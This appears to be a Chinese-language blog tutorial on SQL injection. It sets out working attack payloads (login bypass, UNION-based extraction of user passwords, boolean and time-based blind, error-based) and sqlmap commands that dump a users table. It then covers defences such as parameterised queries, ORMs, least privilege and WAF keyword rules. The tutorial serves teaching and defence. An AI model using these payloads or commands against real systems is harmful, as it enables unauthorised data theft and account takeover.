1. 什么是SQL注入?
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过构造恶意的SQL查询语句,欺骗后端数据库执行非预期的操作,从而窃取、篡改或删除数据,甚至获取服务器控制权限。
危害等级:🔥🔥🔥🔥🔥(高危)
常见场景:登录绕过、数据泄露、数据库篡改、服务器沦陷
2. SQL注入攻击原理
当Web应用程序未对用户输入进行严格过滤,直接将用户输入拼接到SQL查询语句中时,攻击者可以插入恶意SQL代码,改变原始查询的逻辑。
示例场景(登录绕过)
假设登录查询语句如下:
SELECT * FROM users WHERE username = '[user_input]' AND password = '[user_input]';
如果用户输入:
-
用户名:
admin' --
-
密码:任意值(如
123
)
最终SQL变为:
SELECT * FROM users WHERE username = 'admin' --' AND password = '123';
--
是SQL注释符,使得后面的密码检查被忽略,直接返回管理员账户信息。
3. 常见SQL注入攻击手法
(1) 经典联合查询注入(UNION-Based)
利用UNION SELECT
获取其他表数据:
-- 原始查询
SELECT id, name FROM products WHERE id = 1;
-- 攻击输入
1 UNION SELECT username, password FROM users--
-- 执行结果
SELECT id, name FROM products WHERE id = 1 UNION SELECT username, password FROM users--;
利用条件:
-
查询列数需匹配(可通过
ORDER BY
探测列数) -
数据库错误信息回显(便于调试)
(2) 布尔盲注(Boolean-Based Blind)
当页面不返回数据库错误,但会根据SQL执行结果显示不同内容时,可通过AND 1=1
、AND 1=2
等条件判断数据:
-- 判断数据库版本是否为MySQL
1 AND (SELECT @@version LIKE '5%') --
利用方式:
-
逐字符猜解数据(如
SUBSTRING(password,1,1)='a'
) -
结合自动化工具(如
sqlmap
)
(3) 时间盲注(Time-Based Blind)
当页面无任何回显时,利用延时函数判断SQL是否执行成功:
-- MySQL示例
1 AND IF((SELECT database()='test'), SLEEP(5), 0) --
利用方式:
-
若页面响应延迟5秒,说明数据库名是
test
-
适用于无错误回显的场景
(4) 报错注入(Error-Based)
利用数据库报错信息泄露数据:
-- MySQL示例
1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --
利用方式:
-
适用于错误信息直接显示在前端的情况
-
可快速获取数据库名、表名、字段名
4. 自动化SQL注入工具(sqlmap)
sqlmap
是最流行的SQL注入自动化工具,支持多种数据库和注入方式:
# 基本探测
sqlmap -u "http://example.com/?id=1" --dbs
# 获取数据库表
sqlmap -u "http://example.com/?id=1" -D test --tables
# 导出数据
sqlmap -u "http://example.com/?id=1" -D test -T users --dump
5. SQL注入防御方案
(1) 参数化查询(Prepared Statements)
推荐指数:⭐⭐⭐⭐⭐
原理:SQL语句与参数分离,避免拼接
# Python示例(使用psycopg2)
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
(2) ORM框架(Hibernate, Sequelize)
推荐指数:⭐⭐⭐⭐
原理:自动转义SQL参数,减少手动拼接
// Sequelize示例(Node.js)
User.findOne({ where: { username: inputUsername, password: inputPassword } });
(3) 输入过滤
推荐指数:⭐⭐⭐
方法:
-
白名单过滤(仅允许字母数字)
-
转义特殊字符(
'
→\'
)
(4) 最小权限原则
推荐指数:⭐⭐⭐⭐
方法:
-
数据库用户仅赋予必要权限(禁止
DROP
、FILE
等) -
使用只读账户查询数据
(5) WAF(Web应用防火墙)
推荐指数:⭐⭐⭐
方法:
-
部署云WAF(如Cloudflare、阿里云WAF)
-
自定义规则拦截
UNION SELECT
、SLEEP()
等关键词
6. 总结
攻击方式 | 适用场景 | 防御方案 |
---|---|---|
联合查询注入 | 有回显 | 参数化查询 |
布尔盲注 | 无回显但可观察变化 | ORM框架 |
时间盲注 | 完全无回显 | 输入过滤 |
报错注入 | 错误信息泄露 | 最小权限 |
最佳实践:
-
开发阶段:使用参数化查询 + ORM
-
运维阶段:部署WAF + 数据库权限控制
-
测试阶段:定期渗透测试(如
sqlmap
扫描)
暂无评论内容